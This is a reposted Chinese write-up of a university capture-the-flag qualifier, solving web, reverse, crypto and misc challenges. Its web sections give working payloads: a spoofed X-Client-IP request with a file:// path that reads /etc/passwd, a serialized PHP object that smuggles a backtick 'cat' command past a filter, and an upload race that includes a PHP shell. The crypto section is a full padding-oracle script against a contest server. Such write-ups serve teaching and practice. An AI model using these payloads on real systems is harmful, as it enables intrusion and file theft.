第四届上海市大学生网络安全大赛线上初赛 WriteUp

栏目: 编程工具 · 发布时间: 6年前

内容简介:比赛入口地址:随便玩玩。总共 15 道,解出 8 道,排名第 15。

比赛入口地址: https://race.ichunqiu.com/dhb

随便玩玩。总共 15 道,解出 8 道,排名第 15。

Misc - 签到

MZWGCZ33GM2TEMRSMQZTALJUGM4WKLJUMFTGELJZGFTDILLBMJSWEYZXGNTGKMBVMN6Q

Base32 解码

Flag: flag{35222d30-439e-4afb-91f4-abebc73fe05c}

Web - web 1

打开题目提示访问 robots.txt

<!-- you need to visit to robots.txt -->

两个文件,一个 source.php ,一个 flag.php

打开 source.php,提示 POST admin

<!-- post param 'admin' -->

POST admin=1

only 127.0.0.1 can get the flag!

没有找到 SSRF 的地方,应该就是改 Headers 头了

X-Forwarded-For / X-Client-IP / X-Real-IP 三个都试了一下,发现认的是 X-Client-IP

带 Header X-Client-IP=127.0.0.1 ,提示

you need post url: http://www.ichunqiu.com"

POST url=http://www.ichunqiu.com/robots.txt ,得到一个地址

<img src="download/26052982;img1.jpg"/>

POST url=file://www.ichunqiu.com/../etc/passwd

成功读到了用户表,并且得到

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

估计 flag.php 就放在默认的位置

POST url=file://www.ichunqiu.com/../var/www/html/flag.php ,得到 flag

Payload:

POST /source.php HTTP/1.1
X-Client-IP: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

admin=1&url=file://www.ichunqiu.com/../var/www/html/flag.php

第四届上海市大学生网络安全大赛线上初赛 WriteUp

第四届上海市大学生网络安全大赛线上初赛 WriteUp

Flag: flag{c0aea182-82bd-4b1d-ac52-164793598ec9}

Web - web 2

有一个 vim 的备份文件,可以拿到题目的源代码

<?php
error_reporting(0);
class come{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    function waf($str){
        $str=preg_replace("/[<>*;|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }
    function echo($host){
        system("echo $host");
    }
    function __destruct(){
        if (in_array($this->method, array("echo"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
        if($i===1)
        {
            $i++;
            $$key = $value;
        }
        else{break;}
}
if($first==="doller")
{
    @parse_str($_GET['a']);
    if($var==="give")
    {
        if($bbb==="me")
        {
            if($ccc==="flag")
            {
                echo "<br>welcome!<br>";
                $come=@$_POST['come'];
                unserialize($come);
            }
        }
        else
        {echo "<br>think about it<br>";}
    }
    else
    {
        echo "NO";
    }
}
else
{
    echo "Can you hack me?<br>";
}
?>

看到 come 类的 system 命令基本的推测就是做反序列化了。

主程序先检查四个变量是否为特定的变量。

$first 可以直接从 $_GET 中定义为 doller 通过第一个检查

然后可以看到 parse_str 函数,没有传第二个参数,因此会污染变量域,所以我们剩下的三个变量都可以通过他来写入

/?first=doller&a=var=give%26bbb=me%26ccc=flag

接下来是反序列化,在 __wakeup 的时候会将参数过一遍 waf ,然后 flag 可以通过双写来绕过字符串替换,空格用 ${IPS} 然过

生成代码如下:

$foo = new come("echo", array("`cat\${IFS}/flaflagg`"));
var_dump(serialize($foo));
O:4:"come":2:{s:12:"comemethod";s:4:"echo";s:10:"comeargs";a:1:{i:0;s:20:"`cat${IFS}/flaflagg`";}}

然后通过 POST 的参数 come 代入即可执行得到 flag

Web - web 3

<?php
    $dir=md5("icq"); // 2765d621af8a58b78b4d528bd5ef7f6b
    $sandbox = '/var/sandbox/' . $dir;
    @mkdir($sandbox);
    @chdir($sandbox);

    if($_FILES['file']['name']){
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        if($ext==$filename[count($filename) - 1]){
            die("emmmm...");
        }
        $new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hehe'];
        if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
            include($_);
        }
        unlink($new_name);
    }
    else{
        highlight_file(__FILE__);
    }

$filename 可以取 POST 中的参数也可以取文件名,我们当然要用 POST 中的参数,毕竟可利用性比较好,而且还可以传入数组。

然后可以看到他通过 explode 函数以 .$filename 拆成一个数组。

然后要求 end($filename) 不等于 $filename[count($filename) - 1]

我们可以构造这样一个数组

array(2) {
  [1]=>
  string(1) "1"
  [0]=>
  string(3) "php"
}

这样的话

end($filename) = php

$filename[count($filename) - 1] = 1

这也是我上面用 POST 传 filename 的原因

------WebKitFormBoundaryY8aJ6Zd3ZcnMT3No
Content-Disposition: form-data; name="file[1]"

1
------WebKitFormBoundaryY8aJ6Zd3ZcnMT3No
Content-Disposition: form-data; name="file[0]"

php

然后就是重点了

$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'], $new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
    include($_);
}
unlink($new_name);

首先将我们上传的文件重命名为 [100-999].php 并存放在目录 /var/sandbox/2765d621af8a58b78b4d528bd5ef7f6b/

然后接受我们通过 POST 传入的 hehe 参数,并且通过 file 函数读取这个文件

经过测试,目标开启了 allow_url_fopen 但没有开启 allow_url_include ,因此我们不能直接 include 远程的文件,入手点还是在我们上传的那个文件里

由于他开启了 allow_url_fopen ,因此如果传入 hehe 的地址返回需要很久的话,那样我们就有机会在 unlink 之前读取到我们的文件

因此我新建了个文件放在服务器上

<?php
sleep(9999);

然后通过 Burpsuite 的 Repeater ,上传这个文件

@<?php
system("cat /flag");

同时将 hehe 指向那个需要很久的地址

然后通过 Burpsuite 的 Intruder ,

遍历 include /var/sandbox/2765d621af8a58b78b4d528bd5ef7f6b/§§.php

一切顺利的话就可以成功的读到 flag 了

Reverse - cpp

拖进 IDA 看,重点是两个函数,逆向第一个函数,可以得到 fake flag 2333

所以,关键是逆向第二个函数,算法都很简单

POC:

t2=[0x99, 0xB0, 0x87, 0x9E, 0x70, 0xE8, 0x41, 0x44, 0x05, 0x04, 0x8B, 0x9A, 0x74, 0xBC, 0x55, 0x58, 0xB5, 0x61, 0x8E, 0x36, 0xAC, 0x09, 0x59, 0xE5, 0x61, 0xDD, 0x3E, 0x3F, 0xB9, 0x15, 0xED, 0xD5]

t3='\x99'

for j in range(1,32):
    match=0
    for i in range(256):
        tmp2=t3+chr(i)+'\x00'*(32-j-1)
        tmp2=list(tmp2)
        for a in range(4):
            for b in range(1,32):
                tmp1=ord(tmp2[b-1])|ord(tmp2[b])
                tmp=tmp1&(~(ord(tmp2[b-1])⩝(tmp2[b]))&0xff)
                tmp2[b]=chr(tmp)
        if ord(tmp2[j])==t2[j]:
            t3+=chr(i)
            match=1
            break
    if match==0:
        print 'something wrong'
        print j
        exit()

t4=[]
t5=[]
for i in t3:
    t5.append(ord(i))

for j in range(len(t5)):
    match=0
    for i in range(0x20,0x7f):
        tmp=(((i>>6)|(4*i))^j)&0xff
        if tmp==t5[j]:
            print hex(((0x20>>6)|(4*0x20))^0), hex(((i>>6)|(4*i))^j),
            print ''
            t4.append(i)
            match=1
            break
    if match==0:
        print 'something wrong'
        print j
        exit()

print t4

flag=''
for i in t4:
    flag+=chr(i)
print flag

Flag: flag{W0w_y0u_m4st3r_C_p1us_p1us}

Misc - easy_py

直接 uncompyle2 反编译 easy_py.pyc 会报错 tuple index out of range

应该是 const 元组越界了,将 easy_py.pyc 文件里的16进制 2333 改为 0000

然后用下面的脚本反编译

import dis, marshal, struct, sys, time, types

def show_file(fname):
    f = open(fname, "rb")
    magic = f.read(4)
    moddate = f.read(4)
    modtime = time.asctime(time.localtime(struct.unpack('L', moddate)[0]))
    print "magic %s" % (magic.encode('hex'))
    print "moddate %s (%s)" % (moddate.encode('hex'), modtime)
    code = marshal.load(f)
    show_code(code)

def show_code(code, indent=''):
    print "%scode" % indent
    indent += '   '
    print "%sargcount %d" % (indent, code.co_argcount)
    print "%snlocals %d" % (indent, code.co_nlocals)
    print "%sstacksize %d" % (indent, code.co_stacksize)
    print "%sflags %04x" % (indent, code.co_flags)
    show_hex("code", code.co_code, indent=indent)
    dis.disassemble(code)
    print "%sconsts" % indent
    for const in code.co_consts:
        if type(const) == types.CodeType:
            show_code(const, indent+'   ')
        else:
            print "   %s%r" % (indent, const)
    print "%snames %r" % (indent, code.co_names)
    print "%svarnames %r" % (indent, code.co_varnames)
    print "%sfreevars %r" % (indent, code.co_freevars)
    print "%scellvars %r" % (indent, code.co_cellvars)
    print "%sfilename %r" % (indent, code.co_filename)
    print "%sname %r" % (indent, code.co_name)
    print "%sfirstlineno %d" % (indent, code.co_firstlineno)
    show_hex("lnotab", code.co_lnotab, indent=indent)

def show_hex(label, h, indent):
    h = h.encode('hex')
    if len(h) < 60:
        print "%s%s %s" % (indent, label, h)
    else:
        print "%s%s" % (indent, label)
        for i in range(0, len(h), 60):
            print "%s   %s" % (indent, h[i:i+60])

show_file('easy_py.pyc')

根据反编译结果,对照 Python opcode 文档 ,可以写出解密脚本:

flag=[0,10,7,1,29,14,7,22,22,31,57,30,9,52,27]
rflag=''

for j in flag:
    for i in range(0x20,0x7f):
        tmp=((~i)&(102))|((i)&(-103))
        if tmp==j:
            rflag+=chr(i)
            print chr(i),
print rflag

Flag: flag{happy_xoR}

Reverse - What's_it

照样拖进 IDA,这题也很简单

小写英文字母进行组合,长度为 6,计算 md5,满足条件,进行动态解密 check 函数

写个脚本把所有可能跑出来,最后只得到一个结果

import string
from itertools import permutations
from hashlib import md5

table=string.ascii_lowercase

match=''

j=0
for res in permutations(table,6):
    j+=1
    if j % 100000==0: print float(j)*100/308915776
    proof=''.join(res)
    tmp=md5(proof).hexdigest()
    a1=0
    a2=0
    for i in range(len(tmp)):
        if tmp[i]=='0':
            a1+=1
            a2+=i
    if 10*a1+a2==403:
        match+=proof+'\n'
        print proof
print match

运行得到结果: ozulmt

ozulmt 的 md5 值有两个用途,一是上面提到的动态解密,二是作为 check 函数的参数。

动态调试,看一下那个 check 函数的代码,然后上 F5 插件方便看

传入参数给了 srand 置随机数种子

然后32次 rand%160-f 构成 flag

写个脚本计算 srand 的参数:

tmp=md5('ozulmt').hexdigest()
print 'v5: %s' % tmp[:4]
print 'v4: %s' % tmp[28:32]
srand=0
for i in tmp[:4]:
    srand+=ord(i)
print srand

运行得到结果:300

在 windows 下编译下面的程序:

int main(){
    srand(300);
    int i;
    for (i=0;i<32;i++){
        int tmp=rand()%16;
        if (tmp<=9)
            printf("%c",0x30+tmp);
        else
            printf("%c",0x61+(tmp-10));
    }
}

运行得到结果: a197b847709253a47c41bc7d6d52e69d

补全格式,验证一下

第四届上海市大学生网络安全大赛线上初赛 WriteUp

Flag: flag{a197b847-7092-53a4-7c41-bc7d6d52e69d}

Crypto - aessss

好像是 2018 红帽杯 rsa system 原题(也可能稍微改了一下)

上次没做出来,这次自己做出来了

漏洞点在 unpad 的时候,选择最后一字节作为截取长度

直接贴POC:

from pwn import *
from hashlib import sha256
from itertools import permutations
import string

io=''

def new():
    global io
    io=remote('106.75.13.64', 54321)

    table=string.ascii_letters+string.digits

    tmp=io.recvline()

    known=tmp.split('XXXX+')[1].split(')')[0]
    target=tmp.split(' == ')[1].split('\n')[0]

    match=''
    for res in permutations(table,4):
        proof=''.join(res)
        proof+=known
        if sha256(proof).hexdigest()==target:
            match=''.join(res)
            break
    if match:
        io.sendline(match)
        return True
    else:
        io.close()
        return False

right_flag='0x3478e3196c4a6a29b244380ef7cabe1030d103f3c3df019fb4ed207b849d0b6d5da5d3bf89f7ca65707c19591413de7dccddd498b8a8ab5fbae70e9ec17fdfc132a2fb63e0968d737b9839c0f7686de07251a1de0264d0ecad05749ad0d13a2c094da4a09837207c284e3ddfce2323c01ea0304e3362e06d191413fd3576657f072f823e07cf1c77ce453c4823c9d827545247254c8fedbe3c400567ca40eb047e1a7dba3962230b4cd0acc58d4b112690549f40c3553e34c38a1c2898a5eb5b33049d0032de35654639eb953b03464209809abecc70f0142f81fcf06298546ee58387795e9d59aa86a60e3a43a8d8f326f8a1e6ae9920291de72c638a9203fa'
flag=''

new()
for i in range(33):
    match_flag=0
    for j in string.digits+string.ascii_letters+'{}-_/+=,.':
        print hex(ord(j)),
        run=1
        while run:
            try:
                io.sendlineafter('choice:','2')
                payload='a'*(256-33-1)+chr(256-33+i+1)
                io.sendlineafter('something:',payload)
                io.sendlineafter('choice:','2')
                payload=j+flag+chr(256-33)*(256-33)
                io.sendlineafter('something:',payload)
                io.sendlineafter('choice:','1')
                if right_flag in io.recvline():
                    flag=j+flag
                    match_flag=1
                run=0
            except:
                print 'except, do poc'
                io.close()
                new()
        if match_flag: break
    if match_flag==0:
        print 'something wrong'
        exit()
    else:
        print flag

第四届上海市大学生网络安全大赛线上初赛 WriteUp

Flag: flag{H4ve_fun_w1th_p4d_and_unp4d}


以上所述就是小编给大家介绍的《第四届上海市大学生网络安全大赛线上初赛 WriteUp》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Agile Web Development with Rails 4

Agile Web Development with Rails 4

Sam Ruby、Dave Thomas、David Heinemeier Hansson / Pragmatic Bookshelf / 2013-10-11 / USD 43.95

Ruby on Rails helps you produce high-quality, beautiful-looking web applications quickly. You concentrate on creating the application, and Rails takes care of the details. Tens of thousands of deve......一起来看看 《Agile Web Development with Rails 4》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

MD5 加密
MD5 加密

MD5 加密工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换